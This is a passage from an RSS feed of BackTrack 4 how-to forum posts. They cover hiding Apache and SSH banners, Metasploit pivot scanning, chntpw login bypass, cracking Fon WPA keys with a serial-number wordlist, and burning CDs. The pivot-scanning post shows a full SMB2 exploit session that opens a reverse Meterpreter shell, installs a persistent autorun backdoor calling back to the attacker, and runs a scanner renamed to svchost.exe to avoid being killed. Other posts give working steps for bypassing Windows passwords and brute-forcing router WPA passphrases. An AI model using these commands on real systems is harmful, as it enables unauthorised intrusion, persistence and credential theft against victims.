			<content:encoded><![CDATA[<div>When i was going through the offsec course and took my test.. dare i admit it, but after i was finished i decided to give the rest of the range a indepth scan. Immediately i noticed that there was another BT box on the wire ... how you ask? By looking at the default apache banner.<br />
<br />
This is what it looks like every time you fire it up.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~# nmap -sV 192.168.0.222<br />
PORT   STATE SERVICE VERSION<br />
80/tcp open  http    <font color="Blue">Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-bt0 with Suhosin-Patch)</font><br />
Service Info: Host: local; OS: Linux<br />
root@ph33r:~#
			
			<hr />
		</td>
	</tr>
	</table>
</div>So it got me thinking, if im out on a pentest and some crafty admin decides to give me a sweep hes going to notice rite away what OS im running. While it might not do much since there is no exploit as of yet ... knowldge is power plain and simple .. and id rather keep that knowldge in my hands.<br />
<br />
So lets modify our default banner. These simple lines are all that you need.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font color="Red">sed -i 's/ServerTokens Full/ServerTokens Prod/' /etc/apache2/conf.d/security<br />
sed -i 's/TraceEnable On/TraceEnable Off/' /etc/apache2/conf.d/security<br />
sed -i 's/ServerSignature On/ServerSignature Off/' /etc/apache2/conf.d/security</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>Now lets look at our banner ;)<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~# nmap -sV 192.168.0.222<br />
PORT     STATE SERVICE VERSION<br />
80/tcp   open  http    <font color="Blue">Apache httpd</font><br />
Service Info: Host: local; OS: Linux<br />
root@ph33r:~#
			
			<hr />
		</td>
	</tr>
	</table>
</div><br />
While we are at it lets give everyone that logs into our ssh a friendly welcome message.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font color="Red">echo &quot;Can you smell that?&quot; &gt; /etc/motd<br />
echo &quot;Welcome to the vag box!&quot; &gt; /etc/ssh/sshd-banner<br />
echo &quot;Banner /etc/ssh/sshd-banner&quot; &gt;&gt; /etc/ssh/sshd_config</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>The before<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				me@lappy:~# ssh root@192.168.0.222<br />
root@192.168.0.222's password:<br />
<font color="Blue">BackTrack 4 (PwnSauce) Penetration Testing and Auditing Distribution</font><br />
root@ph33r:~#
			
			<hr />
		</td>
	</tr>
	</table>
</div>The after<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				me@lappy:~# ssh root@192.168.0.222<br />
<font color="Blue">Can you smell that?</font><br />
root@192.168.0.222's password:<br />
<font color="Blue">Welcome to the vag box!</font><br />
root@ph33r:~#
			
			<hr />
		</td>
	</tr>
	</table>
</div>While the above is rather harmless to your system the below can quickly bork your sshd. Personally i had had no problems but let this serve as a warning. <br />
<b><font color="Yellow">YOU CAN SCREW THINGS UP!</font></b><br />
<br />
Ok so lets ncat into our host on 22 and see what we have.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				me@lappy:~# ncat 192.168.0.222 22<br />
<font color="Blue">SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>Cool no exploits or anything but lets edit it just for fun. First lets make a copy of sshd to work with.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~# mkdir tmp<br />
root@ph33r:~# cd tmp<br />
root@ph33r:~/tmp# cp /usr/sbin/sshd .
			
			<hr />
		</td>
	</tr>
	</table>
</div>Now let modify it.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~/tmp# hexedit sshd
			
			<hr />
		</td>
	</tr>
	</table>
</div>Ok a blue window should have popped up, now look at the bottom and notice the commands. We want to use search so <font color="Red">press control+w</font> make sure &quot;<font color="Red">Search for text string</font>&quot; is in white hit enter. Now type &quot;<font color="Red">OpenSSH</font>&quot; hit enter and you will be directed to the exact part you need to modify. <br />
<br />
It will look like this, just change everything that is in red to 0 and you will end up with what i have below. If you want to type something else <font color="Red">Press TAB</font> and type what you want into the ascii part, just remember there is no backspace.<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				00053FE0  6E 64 2D 6C  69 6E 65 00   4F 70 65 6E  53 53 48 <font color="Red">5F</font>   nd-line.OpenSSH_<br />
00053FF0  <font color="Red">35 2E 31 70  31 20 44 65   62 69 61 6E  2D 33 75 62</font>   5.1p1 Debian-3ub<br />
00054000  <font color="Red">75 6E 74 75  3</font>1 00 25 73   2C 20 25 73  0A 00 4B 52   untu1.%s, %s..KR
			
			<hr />
		</td>
	</tr>
	</table>
</div>It should now look like this.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				00053FE0  6E 64 2D 6C  69 6E 65 00   4F 70 65 6E  53 53 48 <font color="Red">00</font>   nd-line.OpenSSH.<br />
00053FF0  <font color="Red">00 00 00 00  00 00 00 00   00 00 00 00  00 00 00 00</font>   ................<br />
00054000  <font color="Red">00 00 00 00  00 00</font> 25 73   2C 20 25 73  0A 00 4B 52   ......%s, %s..KR
			
			<hr />
		</td>
	</tr>
	</table>
</div>When your done hit control+x to save it, and give it a launch, remember it requires the exact path.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~/tmp# /root/tmp/sshd<br />
root@ph33r:~/tmp# ncat localhost 22<br />
<font color="Blue">SSH-2.0-OpenSSH</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>Just make sure you can connect to it and your good to go. <br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				killall sshd<br />
rm /usr/sbin/sshd<br />
mv /root/tmp/sshd /usr/sbin/
			
			<hr />
		</td>
	</tr>
	</table>
</div>Enjoy!</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>vvpalin</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28059-changing-apache-ssh-banner.html</guid>
		</item>
		<item>
			<title><![CDATA[Meta "Pivot" Scanning - and other usefull junk]]></title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28041-meta-pivot-scanning-other-usefull-junk.html</link>
			<pubDate>Mon, 26 Oct 2009 08:56:06 GMT</pubDate>
			<description>I apologize if this is written some other place but i found it rather usefull. I took the last few months off to do some really heavy learning and...</description>
			<content:encoded><![CDATA[<div>I apologize if this is written some other place but i found it rather usefull. I took the last few months off to do some really heavy learning and its been a long time since i wrote a guide so honestly im just trying to get my hands dirty before i start writing some more in depth stuff.<br />
A word to the wise, while there is a way to scan directly through a pivot and it has its advantages, let me tell you something from experience, not only is it slow, but its also highly unreliable. More than a few times it has crashed my session or failed to pick up known open ports.<br />
<br />
All that being said lets get started. <br />
<br />
First you need to go here and download the .zip <br />
<a href="http://code.google.com/p/pivot-scan/downloads/list" target="_blank">Downloads - pivot-scan - Project Hosting on Google Code</a><br />
<br />
Now for the install<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				unzip pivotscan_rb.zip<br />
sed -i 's/(Yes)/(,)/' pivot-scan.rb<br />
sed -i 's/sl -q 1000 -s -c 3/sl -q 1000 -s -c 1000/' pivot-scan.rb<br />
mv pivot-scan.rb /pentest/exploits/framework3/scripts/meterpreter/
			
			<hr />
		</td>
	</tr>
	</table>
</div>### The above sed commands are fairly important otherwise you wont be seeing everything you should.<br />
<br />
Lets loadup msfconsole and find us a vulnerable host :D<br />
<br />
I managed to find myself a nice and juicy unpatched vista smb2 exploit to use on 192.168.10.104 so ...<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				msf &gt; use scanner/smb/smb2<br />
<br />
msf auxiliary(smb2) &gt; set rhosts 192.168.10.104<br />
rhosts =&gt; 192.168.10.104<br />
<br />
msf auxiliary(smb2) &gt; run<br />
[*] 192.168.10.104 supports SMB 2 [dialect 2.2] and has been online for 87 hours[*] Auxiliary module execution completed<br />
msf auxiliary(smb2) &gt;
			
			<hr />
		</td>
	</tr>
	</table>
</div>Now lets cross our fingers<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				msf ) &gt; use windows/smb/smb2_negotiate_func_index<br />
<br />
msf &gt; set rhost 192.168.10.104<br />
rhost =&gt; 192.168.10.104<br />
<br />
msf &gt; set payload windows/meterpreter/reverse_tcp<br />
payload =&gt; windows/meterpreter/reverse_tcp<br />
<br />
msf &gt; set lhost 192.168.10.126<br />
lhost =&gt; 192.168.10.126<br />
<br />
msf &gt; set lport 445<br />
lport =&gt; 445<br />
<br />
msf &gt; <font color="Red">set ExitOnSession false</font><br />
ExitOnSession =&gt; false<br />
<br />
msf &gt; <font color="Red">exploit -j</font>    <br />
[*] Started reverse handler<br />
[*] Connecting to the target (192.168.10.104:445)<br />
[*] Sending the exploit packet (872 bytes)<br />
[*] Waiting up to 180 seconds for exploit to trigger<br />
[*] Sending stage (719360 bytes)<br />
[*] Meterpreter session 1 opened (192.168.10.126:445 -&gt; 192.168.10.104:49208)<br />
<br />
msf &gt; <font color="Red">sessions -v</font> <br />
Active sessions<br />
===============<br />
  Id  Description  Tunnel                                      Via<br />
  --  -----------  ------                                      ---<br />
  <font color="DarkGreen">1</font>   Meterpreter  192.168.10.126:445 -&gt; 192.168.10.104:49208  windows/smb/smb2_negotiate_func_index<br />
<br />
msf &gt; 
			
			<hr />
		</td>
	</tr>
	</table>
</div>Sweet!! now we have our nicely exploited pc so lets do a little maintaince then move onto the scanning :p<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				msf &gt; sessions -i <font color="DarkGreen">1</font><br />
[*] Starting interaction with 1<br />
<br />
meterpreter &gt; sysinfo<br />
Computer: WIN-BPTA72KBDYU<br />
OS      : Windows Vista (Build 6001, Service Pack 1).<br />
Arch    : x86<br />
Language: en_US<br />
<br />
meterpreter &gt; getuid<br />
Server username: NT AUTHORITY\SYSTEM<br />
<br />
meterpreter &gt; <font color="Red">run persistence -X -i 60 -r 192.168.10.126 -p 8080</font>  <br />
[*] Creating a persistent agent: LHOST=192.168.10.126 LPORT=8080 (interval=60 onboot=true)<br />
[*] Persistent agent script is 47309 bytes long<br />
[*] Uploaded the persistent agent to C:\Windows\TEMP\oFVccxSg.vbs<br />
[*] Agent executed with PID 3904<br />
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run  \UrKohmHN<br />
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run  \UrKohmHN<br />
<br />
meterpreter &gt;
			
			<hr />
		</td>
	</tr>
	</table>
</div>Now that we have a persistent backdoor incase something fails lets start our scanning. <br />
<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				meterpreter &gt; <font color="Red">run pivot-scan.rb -a</font><br />
[*] Created by Augusto Pereyra aepereyra at gmail.com<br />
[*] Uploading Portscanner<br />
[*] Performing portscanning for IP range 192.168.10.1-192.168.10.254<br />
<br />
-------------------------------------<br />
192.168.10.104,&quot;&quot;,0,0,&quot;Yes&quot;,&quot;135 139 445 3389&quot;,&quot;123 137 138 500 1900&quot;<br />
-------------------------------------<br />
192.168.10.142,&quot;&quot;,0,0,&quot;No&quot;,&quot;21 22 25 79 80 88 110 135 139 445 1025 1433 3389&quot;,&quot;&quot;<br />
-------------------------------------<br />
meterpreter &gt; 
			
			<hr />
		</td>
	</tr>
	</table>
</div>There are a few other ways we can do this also, the first simple way is like so.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				meterpreter &gt; <font color="Red">upload /pentest/windows-binaries/scanners/sl.exe c:\\windows\\system32\\</font><br />
                    [*] uploading  : /pentest/windows-binaries/scanners/sl.exe -&gt; c:\windows\system32\<br />
[*] uploaded   : /pentest/windows-binaries/scanners/sl.exe -&gt; c:\windows\system32\\sl.exe<br />
<br />
<br />
meterpreter &gt;<font color="Red"> execute -f cmd.exe -c -H -t</font><br />
Process 3804 created.<br />
Channel <font color="Blue">3</font> created.<br />
<br />
meterpreter &gt;  <font color="Red">interact <font color="Blue">3</font></font>               <br />
Interacting with channel 3...<br />
<br />
Microsoft Windows [Version 6.0.6001]<br />
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.<br />
<br />
C:\Windows\system32&gt; <font color="Red">sl -s 192.168.10.1-254</font>        <br />
sl -s 192.168.10.1-254<br />
Scan of 254 IPs started at Sun Oct 25 22:49:11 2009<br />
192.168.10.104,&quot;&quot;,0,0,&quot;Yes&quot;,&quot;135 139 445 3389&quot;,&quot;123 137 138 500 1900&quot;<br />
192.168.10.142,&quot;&quot;,0,0,&quot;No&quot;,&quot;21 22 25 79 80 88 110 135 139 445 1025 1433 3389&quot;,&quot;&quot;<br />
-------------------------------------------------------------------------------<br />
C:\Windows\system32&gt; exit<br />
meterpreter &gt;
			
			<hr />
		</td>
	</tr>
	</table>
</div>Ok so on to the last method, first we need to do just a small little change however. It isnt necessary but ill explain.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				cd /pentest/exploits/framework3/scripts/meterpreter/<br />
sed -i 's/svhost#{rand(100)}/svchost/' uploadexec.rb<br />
sed -i 's/prin_status/print_status/' uploadexec.rb<br />
sed -i 's/TEMP/WINDIR/g' uploadexec.rb
			
			<hr />
		</td>
	</tr>
	</table>
</div>Ok first command changes what you upload from something like svhost11.exe to svchost.exe .. why you ask?? Well 2 reasons one its less obvious, but the more important is because you can not kill anything named svchost.exe .. just try renaming calc.exe and find out. The second is to fix a bug which hopefully within the next day or so will be updated, and the last command just changes our default dir to the default c:windows.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				meterpreter &gt; <font color="Red">run uploadexec -e /pentest/windows-binaries/scanners/sl.exe -o &quot;-s 192.168.10.1-254&quot; -v -r</font><br />
[*] Running Upload and Execute Meterpreter script....<br />
[*] 	Uploading /pentest/windows-binaries/scanners/sl.exe....<br />
[*] 	/pentest/windows-binaries/scanners/sl.exe uploaded!<br />
[*] 	Uploaded as C:\Windows\svchost.exe<br />
[*] 	Running command C:\Windows\svchost.exe<br />
<br />
192.168.10.104,&quot;&quot;,0,0,&quot;Yes&quot;,&quot;135 139 445 3389&quot;,&quot;123 137 138 500 1900&quot;<br />
192.168.10.142,&quot;&quot;,0,0,&quot;No&quot;,&quot;21 22 25 79 80 88 110 135 139 445 1025 1433 3389&quot;,&quot;&quot;<br />
[*] 	Deleting C:\Windows\svchost.exe<br />
[*] Finnished!<br />
meterpreter &gt;
			
			<hr />
		</td>
	</tr>
	</table>
</div></div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>vvpalin</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28041-meta-pivot-scanning-other-usefull-junk.html</guid>
		</item>
		<item>
			<title>Easiest way to use chntpw for login bypass</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28013-easiest-way-use-chntpw-login-bypass.html</link>
			<pubDate>Sun, 25 Oct 2009 07:02:32 GMT</pubDate>
			<description>Hi every one well just before i go on telling u guys how to use chntpw to bypass login. 
 
If anyone here nows how to use it other than bypassing...</description>
			<content:encoded><![CDATA[<div>Hi every one well just before i go on telling u guys how to use chntpw to bypass login.<br />
<br />
If anyone here nows how to use it other than bypassing login i would love a nice tutorial or some info about fixing the registry with it.<br />
<br />
OH by the way your not gonna need to hive anything ^_^<br />
<br />
Ok so let's get started first of all make sure u have your hard drive mounted if u dont know how to do that google it....<br />
<br />
After thats all done u need to get into the...<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">cd /mnt/Your hard folder/Windows/System32/config</code><hr />
</div>Note it is case sensitive if you don't know how you're folder are use the ls feature!!!!<br />
<br />
Now u should be in config use the ls feature like I've mentioned before and find your sam file not anything like sam.log or anything else JUST SAM it will either be sam or SAM...<br />
<br />
While your still in your Windows/system32/config directory type this command this is how mine looked like<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">root@Expl0it3:/mnt/sda1/Windows/System32/config# chntpw -i sam</code><hr />
</div>and thats it the rest should explain it's self.. <br />
<br />
Note i recommend u clear the password instead of changing it.. and after u clear it i strongly recommend u pick the user witch u cleared the password for and choose option number 4 Unlock and enable user account) [seems locked already]..<br />
<br />
And thats it ^_^<br />
<br />
!!!!!!!!PLEASE COMMENT ITS THE LEAST YOU CAN DO!!!!!!!!!</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>Isohump</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28013-easiest-way-use-chntpw-login-bypass.html</guid>
		</item>
		<item>
			<title>How to Bruteforce a WPA Fon Wlan</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/27995-how-bruteforce-wpa-fon-wlan.html</link>
			<pubDate>Sat, 24 Oct 2009 13:31:34 GMT</pubDate>
			<description><![CDATA[Hey Community, 
 
 
In this little Tutorial i'm gonna show you, hot to Bruteforce nearby Fon Routers 
 
So the interesting thing which I note, is...]]></description>
			<content:encoded><![CDATA[<div>Hey Community,<br />
<br />
<br />
In this little Tutorial i'm gonna show you, hot to Bruteforce nearby Fon Routers<br />
<br />
So the interesting thing which I note, is that a Fon AP's default WPA passphrase is it's serial number, printed under the box. These serial numbers are sequential, thus making it very easy to guess their entire range.<br />
<br />
So for this i use a little Perl Script, which generates a file, included all Numbers from 807200000 till 8702555555<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">#!/usr/bin/perl<br />
$n = 8702000000;<br />
while ($n &lt;= 8702555555) { system (&quot;echo $n &gt;&gt; numbers.txt&quot;); $n++; }</code><hr />
</div>So then we need a WPA Handshake to try out. I'm not gonna describe how you get one ;) because there are million Posts about it.<br />
<br />
Then we Simply use Aircrack and start Bruteforcing<br />
<br />
aircrack-ng fon-01.cap -w /root/fon/numbers.txt<br />
<br />
So this is it :) Cracked.<br />
<br />
IF you have further questions feel free to a PM or visit my Blog.<br />
In German = <a href="http://www.myownremote.blogspot.com" target="_blank">My_0wn_Remote</a><br />
In English = <a href="http://www.myenglishremote.blogspot.com" target="_blank">my_english_remote</a><br />
<br />
I also created a littel Tutorial Video for this whole thing<br />
<br />
<a href="http://www.youtube.com/watch?v=k_RYsi1yxC4" target="_blank">YouTube - How to Bruteforce a nearby WPA Fon Wlan [3]</a> <br />
<br />
Maybee it is worth for the Video Section, i can't measure<br />
<br />
=) Reeth</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>Reeth</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/27995-how-bruteforce-wpa-fon-wlan.html</guid>
		</item>
		<item>
			<title>Command Line Fun: Quickly burn a folder to disc</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/27978-command-line-fun-quickly-burn-folder-disc.html</link>
			<pubDate>Fri, 23 Oct 2009 16:29:20 GMT</pubDate>
			<description>********************************* 
For information on how to install cdrtools, take a look at the 2nd post in this thread...</description>
			<content:encoded><![CDATA[<div><font color="Red"><b><i><font size="4">********************************<br />
For information on how to install cdrtools, take a look at the 2nd post in this thread</font><br />
*********************************************<br />
</i></b></font> <br />
You can make an ISO file out of a folder as follows:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs -fRrlJ -A <font color="Red"><b>Disc_Volume_Label_Goes_Here</b></font> -o <b><font color="Red">name_of_iso_file.iso</font></b> <b><font color="Red">name_of_folder</font></b></code><hr />
</div>You can burn an ISO file to disc as follows:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">cdrecord dev=/dev/hda <font color="Red"><b>name_of_iso_file.iso</b></font></code><hr />
</div>But if you don't want to waste time and disk space creating an ISO file, you pipe the output of mkisofs into the input of cdrecord (yes it's as cool as it sounds). As follows:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs -fRrlJ -A <font color="Red"><i><b>Disc_Volume_Label</b></i></font> -o - <font color="Red"><i><b>name_of_folder</b></i></font> | sudo cdrecord dev=/dev/hda -</code><hr />
</div>(Note that I've replaced the input and output file names with hyphens)<br />
<br />
On some systems, including my own, this final command fails because cdrecord wants to be told the track size (maybe some drives won't start burning unless they know the track size?). If anyone has any info on this, get back to me in this thread and we can troubleshoot it. Maybe we could do something like:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs -fRrlJ -A <font color="Red"><i><b>Disc_Volume_Label</b></i></font> -o - <font color="Red"><i><b>name_of_folder</b></i></font> | sudo cdrecord <b><font color="Yellow">-tsize=`some_command_that_will_get_the track_size_for_us`</font></b> dev=/dev/hda -</code><hr />
</div>Also if I've made any errors post back quickly and I'll fix it.<br />
<br />
I got all my info from this site:<br />
<br />
<a href="http://sharkysoft.com/tutorials/linuxtips/cdcommands/" target="_blank">Command-line CD-ROM burning in Linux</a><br />
<br />
In trying to figure out why cdrecord was failing on my computer, I stumbled across something. It turns out there's a <i><b>massive</b></i> controversy in Linux regarding the cdrtools package (this package contains such programs as mkisofs, cdrecord).<br />
<br />
Basically there are two different parties developing a package by the same name, they're both calling it &quot;cdrtools&quot;, and they do not get on well with each other. They started out as one group, but then they split. You can read about it here:<br />
<br />
<a href="http://cdrecord.berlios.de/private/linux-dist.html" target="_blank">Cdrtools - why do Linux distributions create bad forks?</a><br />
<br />
One of the cdrtools packages is way better than the other. One of them is stable, while the other is buggy. Unfortunately it is the buggy one that made it into Ubuntu's repositories.<br />
<br />
The buggy version creates symbolic links in &quot;/usr/bin&quot; for files such as mkisofs and cdrecord. If you do the following:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">ls -l /usr/bin/cdrecord</code><hr />
</div>then you'll be able to see what the symbolic link points to. If it points to &quot;wodim&quot;, then you've got the buggy version.<br />
<br />
So without further a do, here's how you get the stable version of cdrtools. You're best off copy-pasting the following into a script called &quot;get_stable_cdrtools.sh&quot;, then giving it execution permissions and running it as root as follows:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">chmod +x get_stable_cdrtools.sh<br />
sudo ./get_stable_cdrtools.sh</code><hr />
</div>Here's the code for the script. (This script was written by a guy called IgnorantGuru over on the Ubuntu forums).<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"># install compiler tools<br />
sudo apt-get install build-essential<br />
<br />
# Make sure you're in the home folder<br />
cd<br />
<br />
# Make a working folder and change to it<br />
mkdir cdrtools<br />
cd cdrtools<br />
<br />
# Download latest cdrtools from http://cdrecord.berlios.de/private/linux-dist.html<br />
wget ftp://ftp.berlios.de/pub/cdrecord/alpha/cdrtools-beta.tar.gz<br />
<br />
# Unpack<br />
tar xzf cdrtools-beta.tar.gz<br />
<br />
# CD to the directory cdrtools is in.<br />
cd cdrtools-2.01.01<br />
<br />
# Compile and install<br />
sudo make<br />
sudo make install<br />
sudo make clean<br />
<br />
# Files are installed to /opt/schily<br />
# (you may want to change their ownership to root:root)<br />
sudo chown root:root /opt/schily/bin/*<br />
<br />
# Move the following files (some will be links) from /usr/bin to a junk folder...<br />
sudo mkdir /opt/schily/replacedfiles<br />
sudo mv /usr/bin/cdrecord /opt/schily/replacedfiles<br />
sudo mv /usr/bin/genisoimage /opt/schily/replacedfiles<br />
sudo mv /usr/bin/mkisofs /opt/schily/replacedfiles<br />
sudo mv /usr/bin/readom /opt/schily/replacedfiles<br />
sudo mv /usr/bin/wodim /opt/schily/replacedfiles<br />
<br />
# Create links:<br />
sudo ln -s /opt/schily/bin/cdrecord /usr/bin/cdrecord<br />
sudo ln -s /opt/schily/bin/mkisofs /usr/bin/genisoimage<br />
sudo ln -s /opt/schily/bin/mkisofs /usr/bin/mkisofs<br />
sudo ln -s /opt/schily/bin/readcd /usr/bin/readom<br />
sudo ln -s /opt/schily/bin/cdrecord /usr/bin/wodim<br />
sudo ln -s /opt/schily/bin/readcd /usr/bin/readcd<br />
sudo ln -s /opt/schily/bin/mkhybrid /usr/bin/mkhybrid<br />
sudo ln -s /opt/schily/bin/cdda2wav /usr/bin/cdda2wav<br />
<br />
# Remove working folder<br />
cd ~<br />
sudo rm -r cdrtools</code><hr />
</div>After you do this, you have a fully-functional, non-buggy installation of cdrtools.<br />
<br />
I still haven't figured out the problem of specifying the track size, and I sent the developers of cdrtools an e-mail about it, but I've a feeling they won't respond because they said they had to cut off &quot;personal support&quot; because they were just getting too many e-mails.<br />
<br />
If anyone knows a solution to the &quot;track size&quot; problem, post it here please. I wonder if there's some way of getting mkisofs to say how big the ISO file will be. Maybe something like<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs --just-tell-the-size</code><hr />
</div>If so we could use this as follows:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs -fRrlJ -A <font color="Red"><i><b>Disc_Volume_Label</b></i></font> -o - <font color="Red"><i><b>name_of_folder</b></i></font> | sudo cdrecord -tsize<b>=`</b>mkisofs --just-tell-the-size -fRrlJ -A <font color="Red"><i><b>Disc_Volume_Label</b></i></font> <font color="Red"><i><b>name_of_folder</b></i></font><b>`</b> dev=/dev/hda -</code><hr />
